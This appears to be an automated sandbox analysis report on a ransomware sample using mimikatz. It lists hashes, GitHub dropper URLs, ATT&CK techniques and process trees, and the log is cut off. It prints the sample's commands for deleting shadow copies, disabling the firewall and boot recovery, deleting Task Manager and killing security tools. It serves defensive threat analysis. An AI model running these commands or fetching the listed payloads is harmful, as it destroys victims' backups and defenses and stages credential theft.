mimikatz | c690a152cb4f33da1c1d408089460cbccdf3dff520f2a93d403f15af6df6cc8f

Analysis

max time kernel
189s
max time network
203s
platform
windows10-2004_x64
resource
win10v2004-20240419-it
resource tags

arch:x64arch:x86image:win10v2004-20240419-itlocale:it-itos:windows10-2004-x64systemwindows
submitted
02/05/2024, 11:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kmfk.exe
Size 5.2MB
Sample240502-nmnkbsaa59
SHA256 c690a152cb4f33da1c1d408089460cbccdf3dff520f2a93d403f15af6df6cc8f
MD5 7b94d09d7a163ea69ac507a86c1c69e8
SHA1 1fef4329b5a9ca9a037e9b1f7715f020dc955f40
SHA512 1027b042f70ef0dcff83af0a07ce4e72b835ba62d2ae9d3a6d6578ba306689017e1b4065b160ed295273e8311cb5ade4789db8deaec1da65c3b832a3c8debedb
SSDEEP 49152:MFtkoue3u4BfCwyls7ZRqTHquk3OcIA5EuLg0UC0GSJVnS7dErDb:M3jH+40wjqTHqJEQbgVSCDb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz defense_evasion evasion execution impact ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://github.com/anebgqa/d/releases/download/d/mz.exe

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/anebgqa/c/releases/download/c/ps.exe

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe

Extracted

Language

Source

URLs

exe.dropper
https://github.com/anebgqa/e/releases/download/e/kln.exe

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Clears Windows event logs 1 TTPs 64 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1812	wevtutil.exe
2576	wevtutil.exe
3424	wevtutil.exe
556	wevtutil.exe
2928	wevtutil.exe
2920	wevtutil.exe
4612	wevtutil.exe
2992	wevtutil.exe
3572	wevtutil.exe
4632	wevtutil.exe
1888	wevtutil.exe
3332	wevtutil.exe
2060	wevtutil.exe
2104	wevtutil.exe
4320	wevtutil.exe
800	wevtutil.exe
3856	wevtutil.exe
540	wevtutil.exe
4920	wevtutil.exe
3032	wevtutil.exe
408	wevtutil.exe
2060	wevtutil.exe
3980	wevtutil.exe
1120	wevtutil.exe
1392	wevtutil.exe
4752	wevtutil.exe
4692	wevtutil.exe
2636	wevtutil.exe
1752	wevtutil.exe
4964	wevtutil.exe
3008	wevtutil.exe
280	wevtutil.exe
3132	wevtutil.exe
4168	wevtutil.exe
288	wevtutil.exe
444	wevtutil.exe
3960	wevtutil.exe
4584	wevtutil.exe
3604	wevtutil.exe
4796	wevtutil.exe
2316	wevtutil.exe
920	wevtutil.exe
584	wevtutil.exe
944	wevtutil.exe
1876	wevtutil.exe
3476	wevtutil.exe
3772	wevtutil.exe
284	wevtutil.exe
3128	wevtutil.exe
736	wevtutil.exe
4892	wevtutil.exe
3132	wevtutil.exe
4140	wevtutil.exe
2184	wevtutil.exe
4404	wevtutil.exe
2620	wevtutil.exe
2304	wevtutil.exe
848	wevtutil.exe
648	wevtutil.exe
4064	wevtutil.exe
2212	wevtutil.exe
4972	wevtutil.exe
4844	wevtutil.exe
3600	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4480	bcdedit.exe

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral2/files/0x0005000000016935-293.dat	mimikatz

Blocklisted process makes network request 8 IoCs

flow	pid	Process
46	2128	powershell.exe
48	2128	powershell.exe
51	4340	powershell.exe
52	4340	powershell.exe
53	2832	powershell.exe
55	2832	powershell.exe
68	4548	powershell.exe
69	4548	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2340	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
2116	mz.exe
4364	ps.exe
1372	ps.exe
2888	kln.exe

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\Desktop\desktop.ini	kmfk.exe
File created	C:\Users\Admin\Documents\desktop.ini	kmfk.exe
File created	C:\Users\Admin\Downloads\desktop.ini	kmfk.exe
File created	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	kmfk.exe
File created	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	kmfk.exe
File created	C:\Users\Admin\Pictures\desktop.ini	kmfk.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
54	raw.githubusercontent.com
55	raw.githubusercontent.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2128	powershell.exe

Discovers systems in the same network 1 TTPs 3 IoCs

discovery

Remote System Discovery

T1018

pid	Process
4120	net.exe
284	net.exe
1236	net.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4612	vssadmin.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
4840	taskkill.exe
3200	taskkill.exe
4140	taskkill.exe
4412	taskkill.exe
1756	taskkill.exe
1244	taskkill.exe
3540	taskkill.exe
3476	taskkill.exe
4108	taskkill.exe
5004	taskkill.exe
296	taskkill.exe
4368	taskkill.exe
2212	taskkill.exe
4412	taskkill.exe
3848	taskkill.exe
4840	taskkill.exe
1948	taskkill.exe
2828	taskkill.exe
4668	taskkill.exe
2908	taskkill.exe
2832	taskkill.exe
3128	taskkill.exe
3588	taskkill.exe
4304	taskkill.exe
4468	taskkill.exe
2432	taskkill.exe
2316	taskkill.exe
2976	taskkill.exe
3520	taskkill.exe
3424	taskkill.exe
4396	taskkill.exe
2960	taskkill.exe
932	taskkill.exe
2908	taskkill.exe
2784	taskkill.exe
4448	taskkill.exe
4756	taskkill.exe
4048	taskkill.exe
3380	taskkill.exe
3968	taskkill.exe
1868	taskkill.exe
220	taskkill.exe
3220	taskkill.exe
732	taskkill.exe
2620	taskkill.exe
1120	taskkill.exe
1264	taskkill.exe
848	taskkill.exe
3848	taskkill.exe
3680	taskkill.exe
3824	taskkill.exe
3716	taskkill.exe
2392	taskkill.exe
4968	taskkill.exe
4776	taskkill.exe
5008	taskkill.exe
4540	taskkill.exe
1408	taskkill.exe
1408	taskkill.exe
1812	taskkill.exe
1476	taskkill.exe
4428	taskkill.exe
3260	taskkill.exe
296	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4688	reg.exe
4956	reg.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	kmfk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	kmfk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	kmfk.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe
1908	kmfk.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1908	kmfk.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	932	taskkill.exe
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeBackupPrivilege	976	vssvc.exe
Token: SeRestorePrivilege	976	vssvc.exe
Token: SeAuditPrivilege	976	vssvc.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	4960	taskkill.exe
Token: SeDebugPrivilege	2680	taskkill.exe
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	4944	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	3476	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	4368	taskkill.exe
Token: SeDebugPrivilege	4288	taskkill.exe
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	3712	taskkill.exe
Token: SeDebugPrivilege	2292	taskkill.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	296	taskkill.exe
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	3520	taskkill.exe
Token: SeDebugPrivilege	3420	taskkill.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	3716	taskkill.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	2212	taskkill.exe
Token: SeDebugPrivilege	1408	taskkill.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	3532	taskkill.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	3128	taskkill.exe
Token: SeDebugPrivilege	648	taskkill.exe
Token: SeDebugPrivilege	4428	taskkill.exe
Token: SeDebugPrivilege	2828	taskkill.exe
Token: SeDebugPrivilege	4668	taskkill.exe
Token: SeDebugPrivilege	684	taskkill.exe
Token: SeDebugPrivilege	4140	taskkill.exe
Token: SeDebugPrivilege	672	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	2908	taskkill.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	4968	taskkill.exe
Token: SeDebugPrivilege	3968	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 4480	1908	kmfk.exe	87
PID 1908 wrote to memory of 4480	1908	kmfk.exe	87
PID 1908 wrote to memory of 1152	1908	kmfk.exe	88
PID 1908 wrote to memory of 1152	1908	kmfk.exe	88
PID 1908 wrote to memory of 3848	1908	kmfk.exe	91
PID 1908 wrote to memory of 3848	1908	kmfk.exe	91
PID 1908 wrote to memory of 220	1908	kmfk.exe	94
PID 1908 wrote to memory of 220	1908	kmfk.exe	94
PID 1908 wrote to memory of 2272	1908	kmfk.exe	95
PID 1908 wrote to memory of 2272	1908	kmfk.exe	95
PID 1908 wrote to memory of 3164	1908	kmfk.exe	96
PID 1908 wrote to memory of 3164	1908	kmfk.exe	96
PID 3164 wrote to memory of 932	3164	powershell.exe	97
PID 3164 wrote to memory of 932	3164	powershell.exe	97
PID 1908 wrote to memory of 3600	1908	kmfk.exe	98
PID 1908 wrote to memory of 3600	1908	kmfk.exe	98
PID 1908 wrote to memory of 2244	1908	kmfk.exe	99
PID 1908 wrote to memory of 2244	1908	kmfk.exe	99
PID 1908 wrote to memory of 4340	1908	kmfk.exe	100
PID 1908 wrote to memory of 4340	1908	kmfk.exe	100
PID 1908 wrote to memory of 4024	1908	kmfk.exe	101
PID 1908 wrote to memory of 4024	1908	kmfk.exe	101
PID 1908 wrote to memory of 1864	1908	kmfk.exe	102
PID 1908 wrote to memory of 1864	1908	kmfk.exe	102
PID 1908 wrote to memory of 4632	1908	kmfk.exe	104
PID 1908 wrote to memory of 4632	1908	kmfk.exe	104
PID 1908 wrote to memory of 4108	1908	kmfk.exe	105
PID 1908 wrote to memory of 4108	1908	kmfk.exe	105
PID 1908 wrote to memory of 1392	1908	kmfk.exe	106
PID 1908 wrote to memory of 1392	1908	kmfk.exe	106
PID 1908 wrote to memory of 1812	1908	kmfk.exe	107
PID 1908 wrote to memory of 1812	1908	kmfk.exe	107
PID 1812 wrote to memory of 4612	1812	powershell.exe	108
PID 1812 wrote to memory of 4612	1812	powershell.exe	108
PID 1908 wrote to memory of 4068	1908	kmfk.exe	111
PID 1908 wrote to memory of 4068	1908	kmfk.exe	111
PID 4068 wrote to memory of 2340	4068	powershell.exe	112
PID 4068 wrote to memory of 2340	4068	powershell.exe	112
PID 1908 wrote to memory of 1244	1908	kmfk.exe	113
PID 1908 wrote to memory of 1244	1908	kmfk.exe	113
PID 1244 wrote to memory of 4956	1244	powershell.exe	114
PID 1244 wrote to memory of 4956	1244	powershell.exe	114
PID 1908 wrote to memory of 3008	1908	kmfk.exe	115
PID 1908 wrote to memory of 3008	1908	kmfk.exe	115
PID 3008 wrote to memory of 4688	3008	powershell.exe	116
PID 3008 wrote to memory of 4688	3008	powershell.exe	116
PID 1908 wrote to memory of 2636	1908	kmfk.exe	117
PID 1908 wrote to memory of 2636	1908	kmfk.exe	117
PID 2636 wrote to memory of 4480	2636	powershell.exe	119
PID 2636 wrote to memory of 4480	2636	powershell.exe	119
PID 1908 wrote to memory of 3424	1908	kmfk.exe	120
PID 1908 wrote to memory of 3424	1908	kmfk.exe	120
PID 1908 wrote to memory of 3884	1908	kmfk.exe	121
PID 1908 wrote to memory of 3884	1908	kmfk.exe	121
PID 1908 wrote to memory of 4960	1908	kmfk.exe	122
PID 1908 wrote to memory of 4960	1908	kmfk.exe	122
PID 1908 wrote to memory of 2680	1908	kmfk.exe	123
PID 1908 wrote to memory of 2680	1908	kmfk.exe	123
PID 1908 wrote to memory of 1756	1908	kmfk.exe	124
PID 1908 wrote to memory of 1756	1908	kmfk.exe	124
PID 1908 wrote to memory of 4944	1908	kmfk.exe	125
PID 1908 wrote to memory of 4944	1908	kmfk.exe	125
PID 1908 wrote to memory of 3820	1908	kmfk.exe	126
PID 1908 wrote to memory of 3820	1908	kmfk.exe	126

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\kmfk.exe
"C:\Users\Admin\AppData\Local\Temp\kmfk.exe"
1⤵
- Drops desktop.ini file(s)
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path C:\Users\Admin\Downloads\inf -Recurse -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path 'C:\Users\Admin\Downloads\Richiesta legale' -Recurse -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path 'C:\Users\Admin\Downloads\Demande légale' -Recurse -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'c:\windows\temp\uyt.ps1'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'c:\windows\temp\k14.txt'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "taskkill /F /IM ie.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /F /IM ie.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\ie.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\xlw.dll'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\ps.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\rbs.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\mz.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.lnk | Remove-Item -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.zip | Remove-Item -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.html | Remove-Item -Force"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "vssadmin delete shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "netsh advfirewall set allprofiles state off"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "bcdedit /set recoveryenabled No"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\bcdedit.exe
    "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del $env:windir\system32\Taskmgr.exe & del $env:windir\system32\resmon.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM klvssbridge64
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3884
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vapiendpoint
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4960
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ShMonitor
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM Smcinst
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SmcService
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SntpService
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM svcGenericHost
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM swi_
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM TmCCSF
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4368
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM tmlisten
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4288
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM TrueKey
  2⤵
